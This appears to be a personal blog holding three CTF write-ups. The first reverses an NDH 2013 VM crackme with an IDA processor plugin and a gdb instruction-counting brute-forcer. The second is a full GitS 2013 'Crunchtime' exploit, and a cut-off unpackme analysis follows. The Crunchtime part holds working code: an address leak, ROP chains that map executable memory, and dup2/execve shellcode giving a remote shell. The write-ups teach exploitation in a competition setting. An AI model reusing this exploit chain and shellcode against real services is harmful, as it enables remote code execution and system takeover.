11/03/2013

Another NDH quals another VM wait ...

Introduction

Last weekend I participated in the Nuit du Hack CTF Quals 2013 with my teamate delroth, you can find an excellent write-up about escaping a Python sandbox on his blog.

So I decided to post a writeup too about the last crackme challenge "Crackme #1".

This Reverse Engineering challenge was a virtual machine, so I decided to reverse the full vm, but today I figured out something ...

Do you remember last ndh prequals ? no no I will not talk about bmp chall but about VMNDH-2k12, it was exactly the same VM (I'm very sad to have lost some hours to reverse something that I know), the only changes was the opcode values, so this post will not deal with the vm stuff you have all the information on this website.

VM Opcode

You can find the vm dump at :

LOAD:000000000048F2E8 vm_dump         db  7Fh ; 
LOAD:000000000048F2E9                 db  45h ; E
LOAD:000000000048F2EA                 db  4Ch ; L
LOAD:000000000048F2EB                 db  46h ; F
LOAD:000000000048F2EC                 db  72h ; r
LOAD:000000000048F2ED                 db    3
LOAD:000000000048F2EE                 db  0Ah

Real vm code start at offset 0x06 (byte 0x0A) and the size of the vm code is 0x371 (881 bytes).

Do you want to mary me ?

I love IDA, and I like writting plugins, scripts, processor (when I don't have to reverse IDA for understanding how their api works :p) in python, so after reversing almost the same vm, I decided to write my ndh2k13 processor, here is the code :

from idaapi import * class DecodingError(Exception): pass class NDHProcessor(processor_t): id = 0x8000 + 5855 flag = PR_ADJSEGS | PRN_HEX cnbits = 8 dnbits = 8 psnames = ["ndh2k13"] plnames = ["ndh2k13 VM CPU"] segreg_size = 0 instruc_start = 0 assembler = { "flag": AS_NCHRE | ASH_HEXF4 | ASD_DECF1 | ASO_OCTF3 | ASB_BINF2 | AS_NOTAB, "uflag": 0, "name": "NDH assembler", "origin": ".org", "end": ".end", "cmnt": ";", "ascsep": '"', "accsep": "'", "esccodes": "\"'", "a_ascii": ".ascii", "a_byte": ".byte", "a_word": ".word", "a_bss": "dfs %s", "a_seg": "seg", "a_curip": "PC", "a_public": "", "a_weak": "", "a_extrn": ".extern", "a_comdef": "", "a_align": ".align", "lbrace": "(", "rbrace": ")", "a_mod": "%", "a_band": "&", "a_bor": "|", "a_xor": "^", "a_bnot": "~", "a_shl": "<<", "a_shr": ">>", "a_sizeof_fmt": "size %s", } reg_names = regNames = [ "R0", "R1", "R2", "R3", "R4", "R5", "R6", "R7", "SP", "BP", "CS", "DS" ] instruc = instrs = [ { 'name': 'PUSH', 'feature': CF_USE1 }, { 'name': 'PUSHB', 'feature': CF_USE1 }, { 'name': 'PUSHW', 'feature': CF_USE1 }, { 'name': 'NOP', 'feature': 0 }, { 'name': 'POP', 'feature': CF_USE1 }, { 'name': 'MOV', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MOVB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MOVW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ADD', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ADDB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ADDW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'SUB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'SUBB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'SUBW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MUL', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MULB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'MULW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'DIV', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'DIVB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'DIVW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'INC', 'feature': CF_USE1 }, { 'name': 'DEC', 'feature': CF_USE1 }, { 'name': 'OR', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ORB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ORW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'AND', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ANDB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'ANDW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'XOR', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'XORB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'XORW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'NOT', 'feature': CF_USE1 }, { 'name': 'JZ', 'feature': CF_USE1 }, { 'name': 'JNZ', 'feature': CF_USE1 }, { 'name': 'JMPS', 'feature': CF_USE1 | CF_STOP }, { 'name': 'TEST', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CMP', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CMPB', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CMPW', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'CALL', 'feature': CF_USE1 | CF_CALL }, { 'name': 'RET', 'feature': CF_STOP }, { 'name': 'JMPL', 'feature': CF_USE1 | CF_STOP }, { 'name': 'END', 'feature': CF_STOP }, { 'name': 'XCHG', 'feature': CF_USE1 | CF_USE2 }, { 'name': 'JA', 'feature': CF_USE1 }, { 'name': 'JB', 'feature': CF_USE1 }, { 'name': 'SYSCALL', 'feature': 0 }, ] instruc_end = len(instruc) def __init__(self): processor_t.__init__(self) self._init_instructions() self._init_registers() def _init_instructions(self): self.inames = {} for idx, ins in enumerate(self.instrs): self.inames[ins['name']] = idx def _init_registers(self): self.reg_ids = {} for i, reg in enumerate(self.reg_names): self.reg_ids[reg] = i self.regFirstSreg = self.regCodeSreg = self.reg_ids["CS"] self.regLastSreg = self.regDataSreg = self.reg_ids["DS"] def _read_cmd_byte(self): ea = self.cmd.ea + self.cmd.size byte = get_full_byte(ea) self.cmd.size += 1 return byte def _read_reg(self): r = self._read_cmd_byte() if r >= 0x0A: raise DecodingError() return r def _ana_ntypeinstr(self, name, valid): cmd = self.cmd optype = self._read_cmd_byte() if optype not in valid: raise DecodingError() if optype not in (4, 5, 6): cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() if optype == 0x0: cmd.itype = self.inames[name] cmd[1].type = o_reg cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() elif optype == 0x1: cmd.itype = self.inames[name + "B"] cmd[1].type = o_imm cmd[1].dtyp = dt_byte cmd[1].value = self._read_cmd_byte() elif optype == 0x2: cmd.itype = self.inames[name + "W"] cmd[1].type = o_imm cmd[1].dtyp = dt_word cmd[1].value = self._read_cmd_byte() cmd[1].value |= self._read_cmd_byte() << 8 elif optype == 0x3: cmd.itype = self.inames[name] elif optype == 0x4: cmd.itype = self.inames[name + "B"] cmd[0].type = o_imm cmd[0].dtyp = dt_byte cmd[0].value = self._read_cmd_byte() elif optype == 0x5: cmd.itype = self.inames[name + "W"] cmd[0].type = o_imm cmd[0].dtyp = dt_word cmd[0].value = self._read_cmd_byte() cmd[0].value |= self._read_cmd_byte() << 8 elif optype == 0x6: cmd.itype = self.inames[name + "B"] cmd[0].type = o_phrase cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() cmd[1].type = o_reg cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() elif optype == 0xA: cmd.itype = self.inames[name] cmd[1].type = o_phrase cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() else: raise DecodingError() def _ana_one_r(self, name): cmd = self.cmd cmd.itype = self.inames[name] cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() def _ana_two_r(self, name): cmd = self.cmd cmd.itype = self.inames[name] cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = self._read_reg() cmd[1].type = o_reg cmd[1].dtyp = dt_word cmd[1].reg = self._read_reg() def _ana_jmp(self, name, size=16): cmd = self.cmd cmd.itype = self.inames[name] addr = self._read_cmd_byte() if size == 16: addr |= self._read_cmd_byte() << 8 if (addr & 0x8000): addr -= 0x10000 else: if addr & 0x80: addr -= 0x100 addr += cmd.ea + cmd.size cmd[0].type = o_near cmd[0].dtyp = dt_word cmd[0].addr = addr def _ana(self): cmd = self.cmd opcode = self._read_cmd_byte() if opcode == 0x1F: self._ana_ntypeinstr("PUSH", valid=(3, 4, 5)) elif opcode == 0x0A: cmd.itype = self.inames["JMPL"] self._ana_jmp("JMPL") elif opcode == 0x1C: self._ana_ntypeinstr("MOV", valid=(0, 1, 2, 6, 7, 8, 9, 10)) elif opcode == 0x0C: cmd.itype = self.inames["CALL"] flags = self._read_cmd_byte() if flags == 0x4: addr = self._read_cmd_byte() addr |= self._read_cmd_byte() << 8 if (addr & 0x8000): addr -= 0x10000 addr += cmd.ea + cmd.size cmd[0].type = o_near cmd[0].dtyp = dt_word cmd[0].addr = addr elif flags == 0x3: reg = self._read_reg() cmd[0].type = o_reg cmd[0].dtyp = dt_word cmd[0].reg = reg else: raise DecodingError() elif opcode == 0x30: cmd.itype = self.inames["SYSCALL"] elif opcode == 0x0B: cmd.itype = self.inames["RET"] elif opcode == 0x1A: self._ana_ntypeinstr("SUB", valid=(0, 1, 2)) elif opcode == 0x0D: self._ana_ntypeinstr("CMP", valid=(0, 1, 2)) elif opcode == 0x11: self._ana_jmp("JZ") elif opcode == 0x09: cmd.itype = self.inames["END"] elif opcode == 0x1F: self._ana_jmp("JMPS", size=8) elif opcode == 0x17: self._ana_one_r("INC") elif opcode == 0x10: self._ana_jmp("JNZ") elif opcode == 0x16: self._ana_one_r("DEC") elif opcode == 0x13: self._ana_ntypeinstr("XOR", valid=(0, 1, 2)) elif opcode == 0x0E: self._ana_two_r("TEST") elif opcode == 0x1D: self._ana_one_r("POP") elif opcode == 0x07: self._ana_jmp("JA") elif opcode == 0x0F: self._ana_jmp("JMPS", size=8) elif opcode == 0x06: self._ana_jmp("JB") elif opcode == 0x1B: self._ana_ntypeinstr("ADD", valid=(0, 1, 2)) elif opcode == 0x08: self._ana_two_r("XCHG") elif opcode == 0x19: self._ana_ntypeinstr("MUL", valid=(0, 1, 2)) else: raise DecodingError() return cmd.size def ana(self): try: return self._ana() except DecodingError: return 0 def _emu_operand(self, op): if op.type == o_mem: ua_dodata2(0, op.addr, op.dtyp) ua_add_dref(0, op.addr, dr_R) elif op.type == o_near: if self.cmd.get_canon_feature() & CF_CALL: fl = fl_CN else: fl = fl_JN ua_add_cref(0, op.addr, fl) def emu(self): cmd = self.cmd ft = cmd.get_canon_feature() if ft & CF_USE1: self._emu_operand(cmd[0]) if ft & CF_USE2: self._emu_operand(cmd[1]) if ft & CF_USE3: self._emu_operand(cmd[2]) if not ft & CF_STOP: ua_add_cref(0, cmd.ea + cmd.size, fl_F) return True def outop(self, op): if op.type == o_reg: out_register(self.reg_names[op.reg]) elif op.type == o_imm: OutValue(op, OOFW_IMM) elif op.type in [o_near, o_mem]: ok = out_name_expr(op, op.addr, BADADDR) if not ok: out_tagon(COLOR_ERROR) OutLong(op.addr, 16) out_tagoff(COLOR_ERROR) QueueMark(Q_noName, self.cmd.ea) elif op.type == o_phrase: out_symbol('[') out_register(self.reg_names[op.reg]) out_symbol(']') else: return False return True def out(self): cmd = self.cmd ft = cmd.get_canon_feature() buf = init_output_buffer(1024) OutMnem(15) if ft & CF_USE1: out_one_operand(0) if ft & CF_USE2: OutChar(',') OutChar(' ') out_one_operand(1) if ft & CF_USE3: OutChar(',') OutChar(' ') out_one_operand(2) term_output_buffer() cvar.gl_comm = 1 MakeLine(buf) def PROCESSOR_ENTRY(): return NDHProcessor()

If you have trouble for dumping vm_opcode, you can find the dump here.

Load the vm into IDA, choose "ndh2k13 VM CPU: ndh2k13", when IDA ask you for the memory organisation tell him :

Now you can start reverse :)

Solution

We have got only 3 syscall for this version of the vm :

The code of the vm start here :

ROM:8317                 MOVW           R0, aPassword
ROM:831C                 CALL           write_msg
ROM:8320                 SUBB           SP, $20
ROM:8324                 MOV            R2, SP
ROM:8328                 MOVB           R1, 0
ROM:832C                 MOVB           R3, $1F
ROM:8330                 MOVB           R0, $3
ROM:8334                 SYSCALL                 ; SYSCALL READ
ROM:8335                 MOV            R0, R2
ROM:8339                 CALL           check_password

And the pseudo - code of the function check_password is :

char *key = 0x8342;
if (strlen(buf_password) == 9)	// "\n" include
	if (buf_password[0] ^ key[0] == 'S')
		if (buf_password[1] ^ key[1] == '[')
			if (buf_password[2] ^ key[2] == 'K')
				if (buf_password[3] ^ key[3] == ')')
					... etc ...
					print("GOOD PASSWORD\n")
					exit
print("BAD PASSWORD\n")
exit

And the good password is :

key = [0x12, 0x21, 0x02, 0x19, 0x25, 0x34, 0x29, 0x11]
res = ['S', '[', 'K', ')', 'R', 'v', 'Z', 'I']
password = ""
for i in xrange(0, 8):
	password += chr(ord(res[i]) ^ key[i])
print password

The flag was 'AzI0wBsX'.

Conclusion

I'm an idiot to reverse an entire vm and not figure out it was the same than last year, but during ctf you want to be the fatest and don't (always) think about old challenges.

Another solution was to count the number of instructions executed by the vm, yeah because when you write crackme, I think you should compute hash, or something like that, because consecutive if statements is just lulz.

Enjoy :

#! /bin/sh

charset="a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
charset="$charset _ - ! $ % ^ \\& \\* + = 0 1 2 3 4 5 6 7 8 9 > < ,"

cat > gdbscript <<EOF
set height 0
define countinstrs
	p "instr"
	c
	countinstrs
end

b *0x0000000000400C7F	# call handler opcode
run < guess

countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
countinstrs
EOF

for c in $charset; do
	guess="$c"
	echo -n "$guess" > guess
	echo "AAAAAAA" >> guess
	echo -n "trying key `cat guess`... "
	gdb ./simple < gdbscript 2>&1 \
		| grep '^\$.*= "instr"$' \
		| tail -1 \
		| cut -d ' ' -f 1 \
		| cut -c 2-
done

First letter :

trying key zAAAAAAA... 245
trying key AAAAAAAA... 252
trying key BAAAAAAA... 245

Edit script for replacing first letter by "A"

trying key AyAAAAAA... 252
trying key AzAAAAAA... 259
trying key AAAAAAAA... 252

And do it for the 8 letters.

21/02/2013

CrunchTime

Introduction

Last weekend I participated in the GitS 2013 CTF for team SoSix (team created with my friend @delroth).

Here is my writeup for the pwn400 challenge, called Crunchtime.
Crunchtime is a linux elf64 binary which is an hash generating service.
The binary offers 5 options :

Addstring

This option will ask the user to enter a string, save it in a mallocated buffer, and save the ptr into a pool of 0x64 (100) string table.
If the user has entered more than 0x64 string, it will reset the counter of strings index to 0, and free the old string.

PrintString

This option asks the user which string number he wants, and print it. This function checks if the number < 0xFF and print the string. Here is the first fail, we can leak some information but there are not really useful.

ComputeCRC

This option will generate CRC for all the strings entered by the user.

PrintCRC

This option will print all CRC computed and the string which is associated.

Vulnerability

When the user asks for a new string, a function "CreateNewString" (Offset : ImageBase + 0xEC0) is called, this function has the following stack frame :

Crunchtime_stack_frame

But when the user is asked for a new string, it will read 0x221 bytes or read until finding 0x0A ("\n").

.text:00007FFFF7FFDEE7 mov edx, 221h .text:00007FFFF7FFDEEC mov rsi, rsp .text:00007FFFF7FFDEEF mov edi, ebp ; fd .text:00007FFFF7FFDEF1 mov cl, 0Ah .text:00007FFFF7FFDEF3 call ReadUntil

So we can overwrite the low byte of the return adress of this function, and the saved rbp rbx and rflags registers pushed before the call.
We will have to find good gadget between return_address00 and return_adressFF, and if we look deeper the disassembly before the call fo "CreateNewString" :

.text:00007FFFF7FFDF4B push rbx .text:00007FFFF7FFDF4C lea rbx, [rdx+32h] ; Counter .text:00007FFFF7FFDF50 mov rcx, [rsi+rbx*8] .text:00007FFFF7FFDF54 test rcx, rcx .text:00007FFFF7FFDF57 jz short loc_7FFFF7FFDF78 .text:00007FFFF7FFDF59 lea rsi, aFreeingStringD ; "freeing string %d: %s\n" .text:00007FFFF7FFDF60 xor eax, eax .text:00007FFFF7FFDF62 call vaSendStrlen .text:00007FFFF7FFDF67 mov rdi, [r12+rbx*8] ; ptr .text:00007FFFF7FFDF6B call _free .text:00007FFFF7FFDF70 mov qword ptr [r12+rbx*8], 0 .text:00007FFFF7FFDF78 .text:00007FFFF7FFDF78 loc_7FFFF7FFDF78: ; CODE XREF: AddString+1Cj .text:00007FFFF7FFDF78 mov edi, r14d ; fd .text:00007FFFF7FFDF7B call CreateNewString

We can see that before the call, we can find a push rbx (0x00007FFFF7FFDF4B), and we know that we can control rbx.
So if we overwrite low byte of the return address with 0x4B, it will push a value on the stack, and ask us again to enter a string and re-trigger the vuln.
Let's see an example :

Now we can control full of rip.

> readelf -a ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep -A1 GNU_STACK
GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
				0x0000000000000000 0x0000000000000000  RW     8

The stack is not executable so we will have to do some ROP.
But there is another problem :)

> readelf -h ./crunchtime-f3b872bbfd3caa9f9b4013beb399106bfcb8ac50 | grep Type
Type:                              DYN (Shared object file)

The binary is of type shared object, so each time it will be executed the BaseAddress will not be the same, so the address of our gadgets will change !
We will have to find a way to leak information, especially one which help us to construct our rop payload.
Here is the pseudo-code of the function "CreateNewString" :

size = ReadUntil(fd, buffer, 0x221, 0x0A);
if (buffer[size] == 0x0A)
	buffer[size] = 0;
memcpy(malloc(strlen(buffer)), buffer, strlen(buffer));

If the buffer doesn't end with "\n", no null byte will be put at the end of the new string, so when strlen will be called, it will go after the saved rbx, rbp, rflags, and stop at the return adress which contains a null byte in the high byte, so we can leak the return adress and we can know where our binary is loaded.
Let's see with an example, for avoiding problems saved rflags are set to 0x0202020202020202 :

> perl -e'print "1\n" . "A"x536 . "\x02"x8 . "\x80" . "2\n0\n5\n"' | nc  localhost 10100 | hexdump -C
00000000  53 65 6c 65 63 74 20 61  6e 20 6f 70 74 69 6f 6e  |Select an option|
00000010  3a 0a 20 20 31 2e 20 41  64 64 20 73 74 72 69 6e  |:.  1. Add strin|
00000020  67 0a 20 20 32 2e 20 50  72 69 6e 74 20 73 74 72  |g.  2. Print str|
00000030  69 6e 67 0a 20 20 33 2e  20 47 65 6e 65 72 61 74  |ing.  3. Generat|
00000040  65 20 43 52 43 73 0a 20  20 34 2e 20 50 72 69 6e  |e CRCs.  4. Prin|
00000050  74 20 43 52 43 73 0a 20  20 35 2e 20 45 78 69 74  |t CRCs.  5. Exit|
00000060  0a 4e 65 77 20 73 74 72  69 6e 67 3a 20 53 65 6c  |.New string: Sel|
00000070  65 63 74 20 61 6e 20 6f  70 74 69 6f 6e 3a 0a 20  |ect an option:. |
00000080  20 31 2e 20 41 64 64 20  73 74 72 69 6e 67 0a 20  | 1. Add string. |
00000090  20 32 2e 20 50 72 69 6e  74 20 73 74 72 69 6e 67  | 2. Print string|
000000a0  0a 20 20 33 2e 20 47 65  6e 65 72 61 74 65 20 43  |.  3. Generate C|
000000b0  52 43 73 0a 20 20 34 2e  20 50 72 69 6e 74 20 43  |RCs.  4. Print C|
000000c0  52 43 73 0a 20 20 35 2e  20 45 78 69 74 0a 57 68  |RCs.  5. Exit.Wh|
000000d0  69 63 68 20 73 74 72 69  6e 67 20 6e 75 6d 62 65  |ich string numbe|
000000e0  72 20 64 6f 20 79 6f 75  20 77 61 6e 74 3f 0a 53  |r do you want?.S|
000000f0  74 72 69 6e 67 20 30 20  2d 20 41 41 41 41 41 41  |tring 0 - AAAAAA|
00000100  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
*
00000310  41 41 02 02 02 02 02 02  02 02 80 9f 40 4e fa 7f  |AA..........@N..|
00000320  0a 53 65 6c 65 63 74 20  61 6e 20 6f 70 74 69 6f  |.Select an optio|
00000330  6e 3a 0a 20 20 31 2e 20  41 64 64 20 73 74 72 69  |n:.  1. Add stri|
00000340  6e 67 0a 20 20 32 2e 20  50 72 69 6e 74 20 73 74  |ng.  2. Print st|
00000350  72 69 6e 67 0a 20 20 33  2e 20 47 65 6e 65 72 61  |ring.  3. Genera|
00000360  74 65 20 43 52 43 73 0a  20 20 34 2e 20 50 72 69  |te CRCs.  4. Pri|
00000370  6e 74 20 43 52 43 73 0a  20 20 35 2e 20 45 78 69  |nt CRCs.  5. Exi|
00000380  74 0a                                             |t.|
00000382

As you can see after the repeated "A" we can see the return adress : 0x7ffa4e409f80.
Now we are able to compute address of each gadgets with this leak, the rop payload is same as usual, we leak information from glibc, call mmap(RWX), recv into the new RWX zone and call it.
Just a thing, the only way I found to set rsi to the value I want (rsi is used as buffer parameter for recv() and send()), is to jump into the middle of a function and use this gadget :

00007FFFF7FFE3F0 mov     rsi, r12

It calls recv() just after, so be careful.

I didn't find any shellcode with dup2 and execve, so I wrote it :

; dup2(4, 2)
; dup2(4, 1)
; dup2(4, 0)
; execve("/bin/sh")

push 0x04
pop rdi
push 0x21
pop rax
push 0x2
pop rsi
syscall
dec rsi
push 0x21
pop rax
syscall
dec rsi
push 0x21
pop rax
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall

Exploit

import socket
import struct
import sys

def leak_return_addr(s):
    s.recv(97)  # recv menu
    s.send("1\n")
    s.recv(12)  # recv new str
    #       [BUF]     [RBX]     [RBP]     [EFLAGS]     [RIP LOW BYTE]
    buf = "A" * 520 + "A" * 8 + "A" * 8 + "\x02" * 8 + "\x80"
    s.send(buf)
    s.recv(97)
    s.send("2\n")
    s.recv(33)
    s.send("0\n")
    buf = s.recv(562)
    leak = buf[-7:-1] + "\x00" * 2
    addr_leak = struct.unpack("<Q", leak)[0]
    return addr_leak

def stage1(s, addr_return, fd):
    gadgets = [
        struct.pack("<Q", addr_return + 0x278),     # pop rdx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x7E5),     # pop r12 ; ret
        struct.pack("<Q", addr_return + 0x2020a8),  # .got.plt send()

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x50D),     # pop r13; pop r14 ; ret
        struct.pack("<Q", fd),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", addr_return + 0x470),     # mov rsi, r12
        struct.pack("<Q", 0x0),                     #   pop r10
        struct.pack("<Q", 0x0),                     #   pop rbx
        struct.pack("<Q", 0x0),                     #   pop rbp
        struct.pack("<Q", 0x0),                     #   pop r12
        struct.pack("<Q", 0x0),                     #   pop r13

        struct.pack("<Q", addr_return + 0x40),      # xor eax, eax ; pop rdi ; retn
        struct.pack("<Q", fd),

        struct.pack("<Q", addr_return + 0x278),     # pop rdx;pop rbx; poprbp;ret
        struct.pack("<Q", 0x00000000000000008),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return - 0x230),     # send()

        struct.pack("<Q", addr_return + 0x50F),      # pop r14; ret
        struct.pack("<Q", fd),

        struct.pack("<Q", addr_return - 0x8),       # re triger vuln

    ]
    s.recv(97)
    s.send("1\n")
    s.recv(12)
    # 00007FFFF7FFDF4B push    rbx
    #                           [ RBX ]                [ RBP ]                [ EFLAGS]
    buf = "A" + "\x00" * 519 + struct.pack("<Q", 0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
    s.send(buf)
    gadgets.reverse()
    for i in gadgets:
        s.recv(12)
        buf = "A" + "\x00" * 519 + i + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
        s.send(buf)
    # 00007FFFF7FFDFA1 retn
    s.recv(12)
    buf = "A" + "\x00" * 519 + struct.pack("<Q", 0x0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\xA1"
    s.send(buf)
    s.send("B")
    leak_send = s.recv(8)
    send_addr = struct.unpack("<Q", leak_send)[0]
    print "[+] Send() @ = ", hex(send_addr)
    stage2(s, addr_return, fd, send_addr)

def stage2(s, addr_return, fd, send_addr):
    gadgets = [
        struct.pack("<Q", addr_return + 0x7E5),     # pop r12 ; ret
        struct.pack("<Q", 0x1000),                  # r12 = ....
        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x50D),     # pop r13; pop r14 ; ret
        struct.pack("<Q", fd),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", addr_return + 0x470),     # mov rsi, r12
        struct.pack("<Q", 0x0),                     #   pop r10
        struct.pack("<Q", 0x0),                     #   pop rbx
        struct.pack("<Q", 0x0),                     #   pop rbp
        struct.pack("<Q", 0x0),                     #   pop r12
        struct.pack("<Q", 0x0),                     #   pop r13

        struct.pack("<Q", addr_return + 0x40),      # xor eax, eax ; pop rdi ; retn
        struct.pack("<Q", 0x13370000),

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000031),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x278),     # pop rdx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000007),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", send_addr - 0x51e0 ),     # mmap()

        struct.pack("<Q", addr_return + 0x7E5),     # pop r12 ; ret
        struct.pack("<Q", 0x13370000),              # r12 = ....

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x50D),     # pop r13; pop r14 ; ret
        struct.pack("<Q", fd),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", addr_return + 0x470),     #   mov rsi, r12
        struct.pack("<Q", 0x0),                     #   pop r10
        struct.pack("<Q", 0x0),                     #   pop rbx
        struct.pack("<Q", 0x0),                     #   pop rbp
        struct.pack("<Q", 0x0),                     #   pop r12
        struct.pack("<Q", 0x0),                     #   pop r13

        struct.pack("<Q", addr_return + 0x278),     # pop rdx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x1000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return + 0x42),      # pop rdi ; ret
        struct.pack("<Q", fd),

        struct.pack("<Q", addr_return + 0x680),     # pop rcx; pop rbx; pop rbp; ret
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),
        struct.pack("<Q", 0x00000000000000000),

        struct.pack("<Q", addr_return - 0x270),     # recv()

        struct.pack("<Q", 0x13370000),              # r12 = ....
        struct.pack("<Q", addr_return - 0x110),     # exit DBG

    ]
    s.recv(12)
    buf = "A" + "\x00" * 518 + struct.pack("<Q", 0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
    s.send(buf)
    gadgets.reverse()
    for i in gadgets:
        s.recv(12)
        buf = "A" + "\x00" * 519 + i + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\x4B"
        s.send(buf)
    s.recv(12)
    buf = "A" + "\x00" * 519 + struct.pack("<Q", 0x0) + struct.pack("<Q", 0) + struct.pack("<Q", 0x0) + "\xA1"
    s.send(buf)
    s.send("\x90")
    s.send("\x90")

    shellcode = "\x6a\x04\x5f\x6a\x21\x58\x6a\x02\x5e\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\xff\xce\x6a\x21\x58\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" + "\x90" * 50


    payload = "\x90" * (4096 - len(shellcode)) + shellcode

    s.send(payload)
    enjoyshell(s)

def enjoyshell(s):
    while True:
        print ">",
        cmd = raw_input()
        if not cmd:
            break
        s.send(cmd + "\n")
        sys.stdout.write(s.recv(65536) + "\n")

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("localhost", 10100))
    addr_return = leak_return_addr(s)
    print "[+] Addr leak = ", hex(addr_return)
    stage1(s, addr_return, 4)
    s.close()

if __name__ == '__main__':
    main()

11/03/2012

Binary Auditing Training Package unpackme_03

Introduction

Today, I was bored so I decided to have fun with http://www.binary-auditing.com/.
And I found a very fun challenge inside unpacking exercices :

unpackme_03

Unpackme

Packer starts here :

seg009:00411800 start           proc near
seg009:00411800                 call    $+5
seg009:00411805                 xor     ebp, ebp
seg009:00411807                 pop     ebp
seg009:00411808                 sub     ebp, offset word_401A1E
seg009:0041180E                 xor     ebx, ebx
seg009:00411810                 lea     eax, byte_401A4D[ebp]
seg009:00411816
seg009:00411816 loc_411816:                             ; CODE XREF: start+1Fj
seg009:00411816                 inc     bl
seg009:00411818                 mov     cl, [eax]
seg009:0041181A                 xor     cl, bl
seg009:0041181C                 cmp     cl, 55h
seg009:0041181F                 jnz     short loc_411816
seg009:00411821                 mov     ecx, 55Ah
seg009:00411826                 lea     esi, byte_401A4D[ebp]
seg009:0041182C                 mov     edi, esi
seg009:0041182E
seg009:0041182E loc_41182E:                             ; CODE XREF: start+32j
seg009:0041182E                 lodsb
